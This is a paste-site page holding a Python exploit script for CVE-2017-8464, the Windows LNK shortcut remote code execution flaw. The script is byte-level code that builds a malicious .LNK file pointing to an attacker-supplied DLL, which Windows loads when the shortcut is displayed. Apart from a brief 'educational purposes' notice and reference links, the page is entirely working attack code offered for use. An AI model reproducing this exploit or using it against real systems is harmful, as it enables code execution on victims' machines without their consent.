CVE-2017-8464

From ykoster, 2 Months ago, written in Python, viewed 57 times.
URL https://secploit.com/view/c306bd04 Embed
Download Paste or View Raw
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3.  
  4. # Title             : CVE-2017-8464 | LNK Remote Code Execution Vulnerability
  5. # CVE               : 2017-8464
  6. # Authors           : [ykoster, nixawk]
  7. # Notice            : Only for educational purposes.
  8. # Support           : python2
  9.  
  10. import struct
  11.  
  12.  
  13. def generate_SHELL_LINK_HEADER():
  14.     # _________________________________________________________________
  15.     # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
  16.     # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|
  17.     # -----------------------------------------------------------------
  18.     # |  HeaderSize                                                   |
  19.     # -----------------------------------------------------------------
  20.     # |  LinkCLSID (16 bytes)                                         |
  21.     # -----------------------------------------------------------------
  22.     # |  ...                                                          |
  23.     # -----------------------------------------------------------------
  24.     # |  ...                                                          |
  25.     # -----------------------------------------------------------------
  26.     # |  LinkFlags                                                    |
  27.     # -----------------------------------------------------------------
  28.     # |  FileAttributes                                               |
  29.     # -----------------------------------------------------------------
  30.     # |  CreationTime                                                 |
  31.     # -----------------------------------------------------------------
  32.     # |  ...                                                          |
  33.     # -----------------------------------------------------------------
  34.     # |  AccessTime                                                   |
  35.     # -----------------------------------------------------------------
  36.     # |  ...                                                          |
  37.     # -----------------------------------------------------------------
  38.     # |  WriteTime                                                    |
  39.     # -----------------------------------------------------------------
  40.     # |  ...                                                          |
  41.     # -----------------------------------------------------------------
  42.     # |  FileSize                                                     |
  43.     # -----------------------------------------------------------------
  44.     # |  IconIndex                                                    |
  45.     # -----------------------------------------------------------------
  46.     # |  ShowCommand                                                  |
  47.     # -----------------------------------------------------------------
  48.     # |  HotKey                       |   Reserved1                   |
  49.     # -----------------------------------------------------------------
  50.     # |  Reserved2                                                    |
  51.     # -----------------------------------------------------------------
  52.     # |  Reserved3                                                    |
  53.     # -----------------------------------------------------------------
  54.  
  55.     shell_link_header = [
  56.         b'\x4c\x00\x00\x00',                                                 # "HeaderSize"     : (4 bytes)
  57.         b'\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46', # "LinkCLSID"      : (16 bytes) HKEY_CLASSES_ROOT\CLSID\{00021401-0000-0000-C000-000000000046}
  58.         b'\x81\x00\x00\x00',                                                 # "LinkFlags"      : (4 bytes)  0x81 = 0b10000001 = HasLinkTargetIDList + IsUnicode
  59.         b'\x00\x00\x00\x00',                                                 # "FileAttributes" : (4 bytes)
  60.         b'\x00\x00\x00\x00\x00\x00\x00\x00',                                 # "CreationTime"   : (8 bytes)
  61.         b'\x00\x00\x00\x00\x00\x00\x00\x00',                                 # "AccessTime"     : (8 bytes)
  62.         b'\x00\x00\x00\x00\x00\x00\x00\x00',                                 # "WriteTime"      : (8 bytes)
  63.         b'\x00\x00\x00\x00',                                                 # "FileSize"       : (4 bytes)
  64.         b'\x00\x00\x00\x00',                                                 # "IconIndex"      : (4 bytes)
  65.         b'\x00\x00\x00\x00',                                                 # "ShowCommand"    : (4 bytes)
  66.         b'\x00\x00',                                                         # "HotKey"         : (2 bytes)
  67.         b'\x00\x00',                                                         # "Reserved1"      : (2 bytes)
  68.         b'\x00\x00\x00\x00',                                                 # "Reserved2"      : (4 bytes)
  69.         b'\x00\x00\x00\x00',                                                 # "Reserved3"      : (4 bytes)
  70.     ]
  71.  
  72.     return b"".join(shell_link_header)
  73.  
  74.  
  75. def generate_LINKTARGET_IDLIST(path, name):
  76.     # _________________________________________________________________
  77.     # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
  78.     # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|
  79.     # -----------------------------------------------------------------
  80.     # | IDListSize                     |   IDList(variable)           |
  81.     # -----------------------------------------------------------------
  82.     # |  ...                                                          |
  83.     # -----------------------------------------------------------------
  84.  
  85.     # IDList = ItemID + ItemID + ... + TerminalID
  86.     #          ItemID = ItemIDSize + Data
  87.  
  88.     def generate_ItemID(Data):
  89.         itemid = [
  90.             struct.pack('H', len(Data) + 2),  # ItemIDSize + len(Data)
  91.             Data
  92.         ]
  93.         # ItemIDSize = struct.pack('H', len(Data) + 2)  # ItemIDSize + len(Data)
  94.  
  95.         # return ItemIDSize + Data
  96.  
  97.         return b"".join(itemid)
  98.  
  99.     def generate_cpl_applet(path, name=name):
  100.         name += b'\x00'
  101.         path += b'\x00'
  102.  
  103.         bindata = [
  104.             b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00',
  105.             struct.pack('H', len(path)),
  106.             struct.pack('H', len(name)),
  107.             path.encode('utf-16')[2:],
  108.             name.encode('utf-16')[2:],
  109.             b"\x00\x00"  # comment
  110.         ]
  111.  
  112.         return b"".join(bindata)
  113.  
  114.     idlist = [
  115.         # ItemIDList
  116.  
  117.         generate_ItemID(b'\x1f\x50\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d'),
  118.         generate_ItemID(b'\x2e\x80\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d'),
  119.         generate_ItemID(generate_cpl_applet(path)),
  120.  
  121.         b'\x00\x00',  # TerminalID
  122.     ]
  123.  
  124.     idlist = b"".join(idlist)
  125.     idlistsize = struct.pack('H', len(idlist))
  126.  
  127.     linktarget_idlist = [
  128.         idlistsize,
  129.         idlist,
  130.     ]
  131.  
  132.     return b"".join(linktarget_idlist)
  133.  
  134.  
  135. def generate_EXTRA_DATA():
  136.     # ExtraData refers to a set of structures that convey additional information about a link target. These
  137.     # optional structures can be present in an extra data section that is appended to the basic Shell Link
  138.     # Binary File Format.
  139.  
  140.     # EXTRA_DATA = *EXTRA_DATA_BLOCK TERMINAL_BLOCK
  141.  
  142.     # EXTRA_DATA_BLOCK = CONSOLE_PROPS / CONSOLE_FE_PROPS / DARWIN_PROPS /
  143.     #  ENVIRONMENT_PROPS / ICON_ENVIRONMENT_PROPS /
  144.     # KNOWN_FOLDER_PROPS / PROPERTY_STORE_PROPS /
  145.     # SHIM_PROPS / SPECIAL_FOLDER_PROPS /
  146.     # TRACKER_PROPS / VISTA_AND_ABOVE_IDLIST_PROPS
  147.  
  148.     # SpecialFolderDataBlock
  149.  
  150.     # _________________________________________________________________
  151.     # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
  152.     # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|
  153.     # -----------------------------------------------------------------
  154.     # | BlockSize                                                     |
  155.     # -----------------------------------------------------------------
  156.     # | BlockSignatire                                                |
  157.     # -----------------------------------------------------------------
  158.     # | SpecialFolderID                                               |
  159.     # -----------------------------------------------------------------
  160.     # | Offset                                                        |
  161.     # -----------------------------------------------------------------
  162.  
  163.     extra_data = [
  164.         b'\x10\x00\x00\x00',
  165.         b'\x05\x00\x00\xA0',
  166.         b'\x03\x00\x00\x00',
  167.         b'\x28\x00\x00\x00',
  168.         b'\x00\x00\x00\x00'   # TERMINAL_BLOCK
  169.     ]
  170.  
  171.     return b"".join(extra_data)
  172.  
  173.  
  174. def ms_shllink(path, name=b"Microsoft"):
  175.     '''build Shell Link (.LNK) Binary File Format'''
  176.  
  177.     lnk_format = [
  178.  
  179.         # Structures
  180.  
  181.         # SHELL_LINK = SHELL_LINK_HEADER [LINKTARGET_IDLIST] [LINKINFO]
  182.         #              [STRING_DATA] *EXTRA_DATA
  183.  
  184.  
  185.         # SHELL_LINK_HEADER:
  186.         #     A ShelllinkHeader structure which contains identification information, timestamps, and
  187.         #     flags that specify the presence of optional structures.
  188.  
  189.         generate_SHELL_LINK_HEADER(),
  190.  
  191.         # LINKTARGET_IDLIST:
  192.         #     An optional LinkTargetIDList structure,  which specifies the target of the link. The
  193.         #     presence of this structure is specified by the HasLinkTargetIDList bit in the ShellLinkHeader.
  194.         #
  195.         #
  196.  
  197.         generate_LINKTARGET_IDLIST(path, name),
  198.  
  199.         # LINKINFO:
  200.         #     An optional LinkInfo structure, which specifies information necessary to resolve the link target.
  201.         #     The presence of this structure is specified by the HasLinkInfo bit in the ShellLinkHeader.
  202.  
  203.         # STRING_DATA:
  204.         #     Zero or more optional StringData structures, which are used to convey user interface and path
  205.         #     identification information. The presence of these structures is specified by bits in the ShellLinkHeader.
  206.  
  207.         # STRING_DATA = [NAME_STRING] [RELATIVE_PATH] [WORKING_DIR]
  208.         #     [COMMAND_LINE_ARGUMENTS] [ICON_LOCATION]
  209.  
  210.         # EXTRA_DATA:
  211.         #     Zero or more ExtraData structures
  212.  
  213.         generate_EXTRA_DATA()
  214.     ]
  215.  
  216.     return b"".join(lnk_format)
  217.  
  218.  
  219. if __name__ == '__main__':
  220.     import sys
  221.  
  222.     if len(sys.argv) != 3:
  223.         print("[*] Name : CVE-2017-8464 | LNK Remote Code Execution Vulnerability")
  224.         print("[*] Usage: %s </path> </path>" % sys.argv[0])
  225.         sys.exit(0)
  226.  
  227.     lnkpath = sys.argv[1]
  228.     dllpath = sys.argv[2]
  229.  
  230.     bindata = ms_shllink(path=dllpath)
  231.  
  232.     with open(lnkpath, 'wb') as lnkf:
  233.         lnkf.write(bindata)
  234.  
  235.  
  236. ## References
  237.  
  238. # 1. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464
  239. # 2. https://msdn.microsoft.com/en-us/library/dd871305.aspx
  240. # 3. https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SHLLINK/[MS-SHLLINK]-160714.pdf
  241. # 4. https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
  242. # 5. https://support.microsoft.com/en-us/help/149648/description-of-control-panel--cpl-files
  243. # 6. https://twitter.com/mkolsek/status/877499744704237568
  244. # 7. https://community.saas.hpe.com/t5/Security-Research/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/251257#.WXi4uNPys6g
  245. # 8. https://github.com/rapid7/metasploit-framework/pull/8767

Reply to "CVE-2017-8464"

Here you can reply to the paste above